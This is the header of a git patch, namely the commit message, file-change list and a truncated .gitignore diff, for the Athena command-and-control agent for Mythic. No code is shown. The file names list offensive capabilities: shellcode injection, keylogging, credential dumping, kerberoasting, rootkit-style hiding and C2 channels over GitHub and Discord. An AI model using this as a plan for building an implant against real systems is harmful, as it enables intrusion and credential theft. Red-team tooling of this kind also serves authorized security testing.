From c01f866928ab18d52e188919b98667074a1b2d05 Mon Sep 17 00:00:00 2001
From: checkymander <26147220+checkymander@users.noreply.github.com>
Date: Wed, 11 Dec 2024 11:07:14 -0500
Subject: [PATCH] Merge new-features branch into main (#82)
* All the changes
---
.gitignore | 8 +-
LICENSE | 29 +
Payload_Type/athena/.docker/Dockerfile | 22 +-
Payload_Type/athena/agent.obfs | 7 +
.../Agent.Crypto.Aes/Agent.Crypto.Aes.csproj | 12 +-
.../Agent.Crypto.None.csproj | 13 +-
.../Agent.Managers.Linux.csproj | 12 +-
.../Agent.Managers.Linux/ProcessSpawner.cs | 2 +-
.../Agent.Managers.Python.csproj | 18 +
.../ByteArrayMetaPathImporter.cs | 500 ++++++++++
.../Agent.Managers.Python/CustomProvider.cs | 44 +
.../Agent.Managers.Python/PythonManager.cs | 109 ++
.../Agent.Managers.Reflection.csproj | 12 +-
.../AssemblyManager.cs | 36 +-
.../Agent.Managers.Windows.csproj | 12 +-
.../Agent.Managers.Windows/ProcessSpawner.cs | 8 +-
.../Agent.Managers.Windows/Resolver.cs | 6 +
.../Agent.Managers.Windows/TokenManager.cs | 2 +-
.../Agent.Models/Agent.Models.csproj | 6 +-
.../Agent.Models/Comms/SMB/SmbMessage.cs | 4 +-
.../Agent.Models/Interfaces/IAgentMod.cs | 13 +
.../Agent.Models/Interfaces/ILogger.cs | 4 +-
.../Interfaces/IMessageManager.cs | 24 +-
.../Agent.Models/Interfaces/IProxyPlugin.cs | 5 +
.../Agent.Models/Interfaces/IPythonManager.cs | 17 +
.../Agent.Models/Proxy/ConnectionOptions.cs | 3 +-
.../Responses/TokenTaskResponse.cs | 2 +-
.../agent_code/Agent.Models/Utlities/Misc.cs | 17 +-
.../Agent.Profiles.DebugProfile.csproj | 4 +-
.../DebugProfile.cs | 2 +-
.../Agent.Profiles.Discord.csproj | 4 +-
.../Agent.Profiles.Discord/Base.txt | 14 +-
.../Agent.Profiles.Discord/DiscordProfile.cs | 21 +-
.../Agent.Profiles.GitHub.csproj | 18 +
.../agent_code/Agent.Profiles.GitHub/Base.txt | 237 +++++
.../Agent.Profiles.GitHub/GitHubProfile.cs | 237 +++++
.../Agent.Profiles.Http.csproj | 12 +-
.../agent_code/Agent.Profiles.Http/Base.txt | 2 +-
.../Agent.Profiles.Http/HttpProfile.cs | 13 +-
.../Agent.Profiles.Http/obfuscar.xml | 8 +-
.../Agent.Profiles.Smb.csproj | 8 +-
.../agent_code/Agent.Profiles.Smb/Base.txt | 2 +-
.../Agent.Profiles.Smb/SmbProfile.cs | 42 +-
.../Agent.Profiles.Websocket.csproj | 12 +-
.../Agent.Profiles.Websocket/Base.txt | 4 +-
.../WebSocketMessage.cs | 4 +-
.../WebsocketProfile.cs | 2 +-
.../athena/athena/agent_code/Agent.sln | 498 +++++++++-
.../agent_code/Agent/Managers/LogManager.cs | 20 -
.../Agent/Managers/MessageManager.cs | 281 ------
.../athena/athena/agent_code/Agent/Program.cs | 26 -
.../AgentCalculatePi/AgentCalculatePi.cs | 71 ++
.../AgentCalculatePi/AgentCalculatePi.csproj | 14 +
.../agent_code/AgentDelay/AgentDelay.cs | 31 +
.../agent_code/AgentDelay/AgentDelay.csproj | 14 +
.../AgentDomainLookup/AgentDomainLookup.cs | 70 ++
.../AgentDomainLookup.csproj | 14 +
.../Agent.cs => AthenaCore/AthenaCore.cs} | 51 +-
.../AthenaCore.csproj} | 132 +--
.../Config/AgentConfig.cs | 15 +-
.../Config/ContainerBuilder.cs | 25 +-
.../Config/ContainerProvider.cs | 0
.../AthenaCore/Managers/LogManager.cs | 35 +
.../AthenaCore/Managers/MessageManager.cs | 344 +++++++
.../Managers/TaskManager.cs | 71 +-
.../athena/agent_code/AthenaCore/Program.cs | 45 +
.../{Agent => AthenaCore}/Roots.xml | 0
.../athena/agent_code/AthenaCore/Worker.cs | 50 +
.../Agent.Tests.Defender.csproj | 4 +-
.../Agent.Tests.Defender/PluginLoader.cs | 10 +-
.../Tests/Agent.Tests/Agent.Tests.csproj | 16 +-
.../Agent.Tests/AgentTests/CheckinTests.cs | 8 +-
.../Agent.Tests/AgentTests/TaskingTests.cs | 12 +-
.../AssemblyTests/AssemblyHandlingTests.cs | 16 +-
.../Tests/Agent.Tests/PluginLoader.cs | 11 +-
.../Tests/Agent.Tests/PluginTests/CatTests.cs | 2 +-
.../Agent.Tests/PluginTests/ConfigTest.cs | 2 +-
.../Agent.Tests/PluginTests/DownloadTests.cs | 2 +-
.../Tests/Agent.Tests/PluginTests/LsTests.cs | 2 +-
.../Agent.Tests/PluginTests/PythonTests.cs | 153 +++
.../Tests/Agent.Tests/PluginTests/RegTests.cs | 2 +-
.../Agent.Tests/PluginTests/TailTests.cs | 2 +-
.../Agent.Tests/PluginTests/UploadTests.cs | 2 +-
.../Tests/Agent.Tests/PluginTests/ZipTests.cs | 218 ++++
.../Agent.Tests/TestClasses/TestAgentMod.cs | 16 +
.../Agent.Tests/TestClasses/TestLogger.cs | 9 +-
.../TestClasses/TestMessageManager.cs | 55 +
.../agent_code/Tests/Agent.Tests/Utilities.cs | 65 ++
.../Tests/Agent.Tests/python313.zip | Bin 0 -> 3748478 bytes
.../athena/athena/agent_code/arp/arp.cs | 2 +-
.../athena/athena/agent_code/arp/arp.csproj | 38 +-
.../agent_code/caffeinate/caffeinate.cs | 10 +-
.../agent_code/caffeinate/caffeinate.csproj | 30 +-
.../athena/athena/agent_code/cat/cat.cs | 2 +-
.../athena/athena/agent_code/cat/cat.csproj | 30 +-
.../athena/athena/agent_code/cd/cd.cs | 5 +-
.../athena/athena/agent_code/cd/cd.csproj | 30 +-
.../athena/athena/agent_code/coff/coff.cs | 8 +-
.../athena/athena/agent_code/coff/coff.csproj | 12 +-
.../athena/athena/agent_code/config/config.cs | 10 +-
.../athena/agent_code/config/config.csproj | 13 +-
.../athena/athena/agent_code/cp/cp.cs | 2 +-
.../athena/athena/agent_code/cp/cp.csproj | 12 +-
.../athena/athena/agent_code/crop/crop.cs | 30 +-
.../athena/athena/agent_code/crop/crop.csproj | 12 +-
.../athena/athena/agent_code/cursed/cursed.cs | 20 +-
.../athena/agent_code/cursed/cursed.csproj | 12 +-
.../athena/agent_code/download/download.cs | 137 +--
.../agent_code/download/download.csproj | 28 +-
.../athena/athena/agent_code/drives/drives.cs | 10 +-
.../athena/agent_code/drives/drives.csproj | 12 +-
.../athena/athena/agent_code/ds/ds.cs | 106 +-
.../athena/athena/agent_code/ds/ds.csproj | 57 +-
.../athena/athena/agent_code/echo/echo.cs | 9 +-
.../athena/athena/agent_code/echo/echo.csproj | 12 +-
.../agent_code/entitlements/entitlements.cs | 4 +-
.../entitlements/entitlements.csproj | 12 +-
.../athena/athena/agent_code/env/env.cs | 4 +-
.../athena/athena/agent_code/env/env.csproj | 12 +-
.../athena/athena/agent_code/exec/exec.cs | 20 +-
.../athena/athena/agent_code/exec/exec.csproj | 12 +-
.../ConsoleApplicationExecutor.cs | 32 +-
.../execute-assembly/ExecuteAssemblyArgs.cs | 4 +-
.../execute-assembly/execute-assembly.cs | 13 +-
.../execute-assembly/execute-assembly.csproj | 12 +-
.../agent_code/execute-module/AthenaModule.cs | 17 +
.../execute-module/ExecModuleArgs.cs | 21 +
.../execute-module/execute-module.cs | 331 ++++++
.../execute-module/execute-module.csproj | 16 +
.../athena/athena/agent_code/exit/exit.cs | 4 +-
.../athena/athena/agent_code/exit/exit.csproj | 12 +-
.../athena/athena/agent_code/farmer/Farmer.cs | 2 +-
.../athena/agent_code/farmer/farmer.csproj | 12 +-
.../athena/agent_code/farmer/farmerplugin.cs | 12 +-
.../get-clipboard/get-clipboard.csproj | 12 +-
.../agent_code/get-clipboard/getclipboard.cs | 10 +-
.../get-localgroup/get-localgroup.cs | 21 +-
.../get-localgroup/get-localgroup.csproj | 12 +-
.../agent_code/get-sessions/get-sessions.cs | 8 +-
.../get-sessions/get-sessions.csproj | 12 +-
.../agent_code/get-shares/get-shares.cs | 12 +-
.../agent_code/get-shares/get-shares.csproj | 12 +-
.../athena/agent_code/hostname/hostname.cs | 4 +-
.../agent_code/hostname/hostname.csproj | 12 +-
.../agent_code/http-server/http-server.cs | 50 +-
.../agent_code/http-server/http-server.csproj | 12 +-
.../athena/agent_code/ifconfig/ifconfig.cs | 6 +-
.../agent_code/ifconfig/ifconfig.csproj | 12 +-
.../inject-shellcode-linux.cs | 24 +-
.../inject-shellcode-linux.csproj | 12 +-
.../inject-shellcode/Techniques/AtomBomb.cs | 34 +-
.../Techniques/ClassicInjection.cs | 20 +-
.../inject-shellcode/Techniques/DeskEnum.cs | 134 +++
.../inject-shellcode/Techniques/Hypno.cs | 176 ++++
.../inject-shellcode/Techniques/ITechnique.cs | 8 +-
.../Techniques/MapViewOfSection.cs | 26 +-
.../Techniques/ThreadHijack.cs | 335 +++++++
.../inject-shellcode - Backup.csproj | 18 -
.../inject-shellcode/inject-shellcode.cs | 42 +-
.../inject-shellcode/inject-shellcode.csproj | 12 +-
.../athena/agent_code/interact/Class1.cs | 2 +-
.../athena/agent_code/jobkill/jobkill.cs | 6 +-
.../athena/agent_code/jobkill/jobkill.csproj | 12 +-
.../athena/athena/agent_code/jobs/jobs.cs | 4 +-
.../athena/athena/agent_code/jobs/jobs.csproj | 12 +-
.../athena/athena/agent_code/jxa/Program.cs | 16 +
.../athena/athena/agent_code/jxa/jxa.cs | 10 +-
.../athena/athena/agent_code/jxa/jxa.csproj | 13 +-
.../athena/agent_code/keychain/keychain.cs | 4 +-
.../agent_code/keychain/keychain.csproj | 12 +-
.../athena/agent_code/keylogger/keylogger.cs | 42 +-
.../agent_code/keylogger/keylogger.csproj | 12 +-
.../athena/athena/agent_code/kill/kill.cs | 14 +-
.../athena/athena/agent_code/kill/kill.csproj | 12 +-
.../athena/athena/agent_code/lnk/lnk.cs | 8 +-
.../athena/athena/agent_code/lnk/lnk.csproj | 12 +-
.../athena/agent_code/ls/LocalListing.cs | 4 +-
.../athena/athena/agent_code/ls/LsArgs.cs | 6 +-
.../athena/agent_code/ls/LsUtilities.cs | 2 +-
.../athena/agent_code/ls/RemoteListing.cs | 4 +-
.../athena/athena/agent_code/ls/ls.cs | 11 +-
.../athena/athena/agent_code/ls/ls.csproj | 12 +-
.../athena/athena/agent_code/mkdir/mkdir.cs | 10 +-
.../athena/agent_code/mkdir/mkdir.csproj | 12 +-
.../athena/athena/agent_code/mv/mv.cs | 8 +-
.../athena/athena/agent_code/mv/mv.csproj | 12 +-
.../athena/agent_code/netstat/netstat.cs | 4 +-
.../athena/agent_code/netstat/netstat.csproj | 12 +-
.../athena/agent_code/nidhogg/nidhogg.cs | 101 +-
.../athena/agent_code/nidhogg/nidhogg.csproj | 12 +-
.../agent_code/nslookup/NsLookupArgs.cs | 8 +-
.../athena/agent_code/nslookup/nslookup.cs | 18 +-
.../agent_code/nslookup/nslookup.csproj | 12 +-
.../agent_code/port-bender/PortBenderArgs.cs | 4 +-
.../port-bender/TcpForwarderSlim.cs | 7 +-
.../agent_code/port-bender/port-bender.cs | 24 +-
.../agent_code/port-bender/port-bender.csproj | 12 +-
.../athena/agent_code/ps/ProcessHelper.cs | 3 +-
.../athena/athena/agent_code/ps/PsArgs.cs | 8 +-
.../athena/athena/agent_code/ps/ps.cs | 10 +-
.../athena/athena/agent_code/ps/ps.csproj | 12 +-
.../athena/athena/agent_code/pwd/pwd.cs | 4 +-
.../athena/athena/agent_code/pwd/pwd.csproj | 12 +-
.../agent_code/python-exec/PythonExecArgs.cs | 14 +
.../athena/agent_code/python-exec/lib.zip | Bin 0 -> 5042951 bytes
.../agent_code/python-exec/python-exec.cs | 86 ++
.../agent_code/python-exec/python-exec.csproj | 22 +
.../agent_code/python-load/PythonLoadArgs.cs | 13 +
.../agent_code/python-load/python-load.cs | 242 +++++
.../agent_code/python-load/python-load.csproj | 15 +
.../athena/athena/agent_code/reg/reg.cs | 6 +-
.../athena/athena/agent_code/reg/reg.csproj | 12 +-
.../athena/athena/agent_code/rm/RmArgs.cs | 6 +-
.../athena/athena/agent_code/rm/rm.cs | 7 +-
.../athena/athena/agent_code/rm/rm.csproj | 12 +-
.../rportfwd/Config/ConnectionConfig.cs | 6 +-
.../athena/agent_code/rportfwd/rportfwd.cs | 6 +-
.../agent_code/rportfwd/rportfwd.csproj | 12 +-
.../agent_code/screenshot/screenshot.cs | 20 +-
.../agent_code/screenshot/screenshot.csproj | 29 +-
.../athena/athena/agent_code/sftp/SftpArgs.cs | 16 +
.../athena/athena/agent_code/sftp/sftp.cs | 882 ++++++++--------
.../athena/athena/agent_code/sftp/sftp.csproj | 25 +-
.../athena/agent_code/shell/ProcessRunner.cs | 6 +-
.../athena/athena/agent_code/shell/shell.cs | 8 +-
.../athena/agent_code/shell/shell.csproj | 12 +-
.../athena/agent_code/shellcode/Native.cs | 25 -
.../agent_code/shellcode/ShellcodeArgs.cs | 2 +-
.../athena/agent_code/shellcode/shellcode.cs | 24 +-
.../agent_code/shellcode/shellcode.csproj | 12 +-
.../athena/athena/agent_code/smb/SmbLink.cs | 175 ++--
.../athena/athena/agent_code/smb/smb.cs | 56 +-
.../athena/athena/agent_code/smb/smb.csproj | 16 +-
.../agent_code/socks/Client/AsyncTcpClient.cs | 940 ------------------
.../socks/Config/ConnectionConfig.cs | 72 --
.../Nager.TcpClient/DataReceivedEventArgs.cs | 14 +
.../socks/Nager.TcpClient/TcpClient.cs | 545 ++++++++++
.../socks/Nager.TcpClient/TcpClientConfig.cs | 33 +
.../TcpClientKeepAliveConfig.cs | 23 +
.../TcpClientKeepAliveExtension.cs | 43 +
.../socks/Nager.TcpClient/UdpClient.cs | 546 ++++++++++
.../agent_code/socks/Server/AsyncTcpServer.cs | 224 -----
.../athena/athena/agent_code/socks/socks.cs | 128 +--
.../athena/agent_code/socks/socks.csproj | 12 +-
.../athena/athena/agent_code/ssh/SshArgs.cs | 8 +-
.../athena/athena/agent_code/ssh/ssh.cs | 25 +-
.../athena/athena/agent_code/ssh/ssh.csproj | 32 +-
.../athena/athena/agent_code/tail/TailArgs.cs | 4 +-
.../athena/athena/agent_code/tail/tail.cs | 9 +-
.../athena/athena/agent_code/tail/tail.csproj | 12 +-
.../athena/agent_code/test-port/test-port.cs | 6 +-
.../agent_code/test-port/test-port.csproj | 12 +-
.../athena/agent_code/timestomp/timestomp.cs | 12 +-
.../agent_code/timestomp/timestomp.csproj | 12 +-
.../athena/athena/agent_code/token/token.cs | 42 +-
.../athena/agent_code/token/token.csproj | 12 +-
.../athena/agent_code/upload/UploadArgs.cs | 8 +-
.../athena/athena/agent_code/upload/upload.cs | 46 +-
.../athena/agent_code/upload/upload.csproj | 12 +-
.../athena/athena/agent_code/uptime/uptime.cs | 4 +-
.../athena/agent_code/uptime/uptime.csproj | 12 +-
.../athena/athena/agent_code/wget/wget.cs | 16 +-
.../athena/athena/agent_code/wget/wget.csproj | 12 +-
.../athena/athena/agent_code/whoami/whoami.cs | 4 +-
.../athena/agent_code/whoami/whoami.csproj | 12 +-
.../athena/agent_code/zip-dl/ZipDlArgs.cs | 23 +
.../athena/athena/agent_code/zip-dl/zip-dl.cs | 288 ++++++
.../athena/agent_code/zip-dl/zip-dl.csproj | 15 +
.../agent_code/zip-inspect/ZipInspectArgs.cs | 13 +
.../agent_code/zip-inspect/zip-inspect.cs | 165 +++
.../agent_code/zip-inspect/zip-inspect.csproj | 15 +
.../athena/athena/agent_code/zip/ZipArgs.cs | 13 +
.../athena/athena/agent_code/zip/zip.cs | 79 ++
.../athena/athena/agent_code/zip/zip.csproj | 14 +
.../athena/mythic/agent_functions/arp.py | 2 -
.../athena_utils/bof_utilities.py | 49 +-
.../athena_utils/mythicrpc_utilities.py | 32 +
.../athena_utils/plugin_utilities.py | 169 +++-
.../athena/mythic/agent_functions/builder.py | 137 ++-
.../mythic/agent_functions/caffeinate.py | 2 -
.../athena/mythic/agent_functions/cat.py | 9 +-
.../athena/mythic/agent_functions/cd.py | 10 +-
.../athena/mythic/agent_functions/coff.py | 166 +++-
.../athena/mythic/agent_functions/config.py | 12 +-
.../athena/mythic/agent_functions/cp.py | 12 +-
.../athena/mythic/agent_functions/crop.py | 21 +-
.../athena/mythic/agent_functions/cursed.py | 13 +-
.../athena/mythic/agent_functions/download.py | 9 +-
.../athena/mythic/agent_functions/drives.py | 12 +-
.../mythic/agent_functions/ds-connect.py | 38 +-
.../athena/mythic/agent_functions/ds-query.py | 36 +-
.../athena/mythic/agent_functions/ds.py | 18 +-
.../athena/mythic/agent_functions/echo.py | 7 +-
.../athena/mythic/agent_functions/env.py | 13 +-
.../athena/mythic/agent_functions/exec.py | 13 +-
.../agent_functions/execute-assembly.py | 37 +-
.../mythic/agent_functions/execute-module.py | 110 ++
.../athena/mythic/agent_functions/exit.py | 13 +-
.../athena/mythic/agent_functions/farmer.py | 14 +-
.../mythic/agent_functions/get-clipboard.py | 13 +-
.../mythic/agent_functions/get-localgroup.py | 13 +-
.../mythic/agent_functions/get-sessions.py | 24 +-
.../mythic/agent_functions/get-shares.py | 24 +-
.../athena/mythic/agent_functions/hostname.py | 10 +-
.../mythic/agent_functions/http-server.py | 44 +-
.../athena/mythic/agent_functions/ifconfig.py | 11 +-
.../mythic/agent_functions/inject-assembly.py | 115 +--
.../agent_functions/inject-shellcode.py | 43 +-
.../athena/mythic/agent_functions/jobkill.py | 27 +-
.../athena/mythic/agent_functions/jobs.py | 12 +-
.../athena/mythic/agent_functions/jxa.why | 7 +-
.../mythic/agent_functions/keychain.why | 7 +-
.../mythic/agent_functions/keylogger.py | 13 +-
.../athena/mythic/agent_functions/kill.py | 13 +-
.../athena/mythic/agent_functions/lnk.why | 7 +-
.../mythic/agent_functions/load-assembly.py | 102 +-
.../athena/mythic/agent_functions/load.py | 78 +-
.../athena/mythic/agent_functions/ls.py | 12 +-
.../agent_functions/misc_bofs/nanorubeus.py | 110 +-
.../agent_functions/misc_bofs/patchit.py | 146 +--
.../athena/mythic/agent_functions/mkdir.py | 13 +-
.../athena/mythic/agent_functions/mv.py | 11 +-
.../athena/mythic/agent_functions/netstat.py | 14 +-
.../athena/mythic/agent_functions/nidhogg.py | 15 +-
.../nidhogg_commands/nidhogg_disableetweti.py | 18 +-
.../nidhogg_commands/nidhogg_dumpcreds.py | 18 +-
.../nidhogg_elevateprocess.py | 19 +-
.../nidhogg_commands/nidhogg_enableetwti.py | 20 +-
.../nidhogg_commands/nidhogg_hidedriver.py | 19 +-
.../nidhogg_commands/nidhogg_hideport.py | 21 +-
.../nidhogg_commands/nidhogg_hideprocess.py | 21 +-
.../nidhogg_hideregistrykey.py | 21 +-
.../nidhogg_hideregistryvalue.py | 22 +-
.../nidhogg_commands/nidhogg_hidethread.py | 21 +-
.../nidhogg_commands/nidhogg_injectdll.py | 22 +-
.../nidhogg_commands/nidhogg_protectfile.py | 21 +-
.../nidhogg_protectprocess.py | 21 +-
.../nidhogg_protectregistrykey.py | 19 +-
.../nidhogg_protectregistryvalue.py | 20 +-
.../nidhogg_commands/nidhogg_protectthread.py | 19 +-
.../nidhogg_commands/nidhogg_unhidedriver.py | 19 +-
.../nidhogg_commands/nidhogg_unhideport.py | 20 +-
.../nidhogg_commands/nidhogg_unhideprocess.py | 21 +-
.../nidhogg_unhideregistrykey.py | 19 +-
.../nidhogg_unhideregistryvalue.py | 20 +-
.../nidhogg_commands/nidhogg_unhidethread.py | 19 +-
.../nidhogg_commands/nidhogg_unprotectfile.py | 19 +-
.../nidhogg_unprotectprocess.py | 21 +-
.../nidhogg_unprotectregistrykey.py | 21 +-
.../nidhogg_unprotectregistryvalue.py | 22 +-
.../nidhogg_unprotectthread.py | 21 +-
.../athena/mythic/agent_functions/nslookup.py | 27 +-
.../outflank_bofs/add-machine-account.py | 130 +--
.../outflank_bofs/ask-creds.py | 113 +--
.../outflank_bofs/delete-machine-account.py | 113 +--
.../get-machine-account-quota.py | 91 +-
.../outflank_bofs/kerberoast.py | 118 +--
.../agent_functions/outflank_bofs/klist.py | 108 +-
.../mythic/agent_functions/port-bender.py | 12 +-
.../athena/mythic/agent_functions/ps.py | 12 +-
.../athena/mythic/agent_functions/pwd.py | 13 +-
.../mythic/agent_functions/python-exec.py | 58 ++
.../mythic/agent_functions/python-load.py | 47 +
.../athena/mythic/agent_functions/reg.py | 9 +-
.../athena/mythic/agent_functions/rm.py | 12 +-
.../athena/mythic/agent_functions/rportfwd.py | 10 +-
.../mythic/agent_functions/screenshot.py | 6 +-
.../athena/mythic/agent_functions/sftp.py | 97 +-
.../athena/mythic/agent_functions/shell.py | 13 +-
.../mythic/agent_functions/shellcode.py | 31 +-
.../athena/mythic/agent_functions/smb.py | 12 +-
.../athena/mythic/agent_functions/socks.py | 12 +-
.../athena/mythic/agent_functions/ssh.py | 13 +-
.../athena/mythic/agent_functions/tail.py | 43 +-
.../mythic/agent_functions/test-port.py | 25 +-
.../mythic/agent_functions/timestomp.py | 12 +-
.../athena/mythic/agent_functions/token.py | 13 +-
.../trusted_sec_bofs/adcs-enum.py | 112 +--
.../trusted_sec_bofs/driver-sigs.py | 93 +-
.../trusted_sec_bofs/get-password-policy.py | 108 +-
.../trusted_sec_bofs/net-view.py | 105 +-
.../trusted_sec_bofs/sc-enum.py | 106 +-
.../trusted_sec_bofs/schtasks-enum.py | 109 +-
.../trusted_sec_bofs/schtasks-query.py | 121 +--
.../trusted_sec_bofs/vss-enum.py | 112 +--
.../trusted_sec_bofs/windowlist.py | 110 +-
.../trusted_sec_bofs/wmi-query.py | 128 +--
.../add-user-to-group.py | 137 +--
.../trusted_sec_remote_bofs/enable-user.py | 120 +--
.../trusted_sec_remote_bofs/office-tokens.py | 103 +-
.../trusted_sec_remote_bofs/sc-config.py | 134 +--
.../trusted_sec_remote_bofs/sc-create.py | 151 +--
.../trusted_sec_remote_bofs/sc-delete.py | 118 +--
.../trusted_sec_remote_bofs/sc-start.py | 118 +--
.../trusted_sec_remote_bofs/sc-stop.py | 119 +--
.../schtasks-create.py | 160 ++-
.../schtasks-delete.py | 127 +--
.../trusted_sec_remote_bofs/schtasks-run.py | 120 +--
.../trusted_sec_remote_bofs/schtasks-stop.py | 130 +--
.../trusted_sec_remote_bofs/set-user-pass.py | 133 +--
.../athena/mythic/agent_functions/upload.py | 21 +-
.../athena/mythic/agent_functions/uptime.py | 13 +-
.../athena/mythic/agent_functions/whoami.py | 13 +-
.../athena/mythic/agent_functions/zip-dl.py | 83 ++
.../mythic/agent_functions/zip-inspect.py | 44 +
.../athena/mythic/agent_functions/zip.py | 60 ++
Payload_Type/athena/common.obfs | 7 +
Payload_Type/athena/main.py | 72 +-
agent_capabilities.json | 6 +-
409 files changed, 11098 insertions(+), 7590 deletions(-)
create mode 100644 LICENSE
create mode 100644 Payload_Type/athena/agent.obfs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Managers.Python/Agent.Managers.Python.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Managers.Python/ByteArrayMetaPathImporter.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Managers.Python/CustomProvider.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Managers.Python/PythonManager.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Models/Interfaces/IAgentMod.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Models/Interfaces/IPythonManager.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.GitHub/Agent.Profiles.GitHub.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.GitHub/Base.txt
create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.GitHub/GitHubProfile.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/Agent/Managers/LogManager.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/Agent/Managers/MessageManager.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/Agent/Program.cs
create mode 100644 Payload_Type/athena/athena/agent_code/AgentCalculatePi/AgentCalculatePi.cs
create mode 100644 Payload_Type/athena/athena/agent_code/AgentCalculatePi/AgentCalculatePi.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/AgentDelay/AgentDelay.cs
create mode 100644 Payload_Type/athena/athena/agent_code/AgentDelay/AgentDelay.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/AgentDomainLookup/AgentDomainLookup.cs
create mode 100644 Payload_Type/athena/athena/agent_code/AgentDomainLookup/AgentDomainLookup.csproj
rename Payload_Type/athena/athena/agent_code/{Agent/Agent.cs => AthenaCore/AthenaCore.cs} (76%)
rename Payload_Type/athena/athena/agent_code/{Agent/Agent.csproj => AthenaCore/AthenaCore.csproj} (64%)
rename Payload_Type/athena/athena/agent_code/{Agent => AthenaCore}/Config/AgentConfig.cs (93%)
rename Payload_Type/athena/athena/agent_code/{Agent => AthenaCore}/Config/ContainerBuilder.cs (76%)
rename Payload_Type/athena/athena/agent_code/{Agent => AthenaCore}/Config/ContainerProvider.cs (100%)
create mode 100644 Payload_Type/athena/athena/agent_code/AthenaCore/Managers/LogManager.cs
create mode 100644 Payload_Type/athena/athena/agent_code/AthenaCore/Managers/MessageManager.cs
rename Payload_Type/athena/athena/agent_code/{Agent => AthenaCore}/Managers/TaskManager.cs (68%)
create mode 100644 Payload_Type/athena/athena/agent_code/AthenaCore/Program.cs
rename Payload_Type/athena/athena/agent_code/{Agent => AthenaCore}/Roots.xml (100%)
create mode 100644 Payload_Type/athena/athena/agent_code/AthenaCore/Worker.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/PluginTests/PythonTests.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/PluginTests/ZipTests.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/TestClasses/TestAgentMod.cs
create mode 100644 Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/python313.zip
create mode 100644 Payload_Type/athena/athena/agent_code/execute-module/AthenaModule.cs
create mode 100644 Payload_Type/athena/athena/agent_code/execute-module/ExecModuleArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/execute-module/execute-module.cs
create mode 100644 Payload_Type/athena/athena/agent_code/execute-module/execute-module.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/DeskEnum.cs
create mode 100644 Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/Hypno.cs
create mode 100644 Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/ThreadHijack.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/inject-shellcode/inject-shellcode - Backup.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/jxa/Program.cs
create mode 100644 Payload_Type/athena/athena/agent_code/python-exec/PythonExecArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/python-exec/lib.zip
create mode 100644 Payload_Type/athena/athena/agent_code/python-exec/python-exec.cs
create mode 100644 Payload_Type/athena/athena/agent_code/python-exec/python-exec.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/python-load/PythonLoadArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/python-load/python-load.cs
create mode 100644 Payload_Type/athena/athena/agent_code/python-load/python-load.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/sftp/SftpArgs.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/shellcode/Native.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/socks/Client/AsyncTcpClient.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/socks/Config/ConnectionConfig.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/DataReceivedEventArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/TcpClient.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/TcpClientConfig.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/TcpClientKeepAliveConfig.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/TcpClientKeepAliveExtension.cs
create mode 100644 Payload_Type/athena/athena/agent_code/socks/Nager.TcpClient/UdpClient.cs
delete mode 100644 Payload_Type/athena/athena/agent_code/socks/Server/AsyncTcpServer.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip-dl/ZipDlArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip-dl/zip-dl.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip-dl/zip-dl.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/zip-inspect/ZipInspectArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip-inspect/zip-inspect.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip-inspect/zip-inspect.csproj
create mode 100644 Payload_Type/athena/athena/agent_code/zip/ZipArgs.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip/zip.cs
create mode 100644 Payload_Type/athena/athena/agent_code/zip/zip.csproj
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/athena_utils/mythicrpc_utilities.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/execute-module.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/python-exec.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/python-load.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/zip-dl.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/zip-inspect.py
create mode 100644 Payload_Type/athena/athena/mythic/agent_functions/zip.py
create mode 100644 Payload_Type/athena/common.obfs
diff --git a/.gitignore b/.gitignore
index edb1eecc4..585585a92 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,7 +8,7 @@
/.vs
/Payload_Type/athena/mythic/agent_functions/.idea
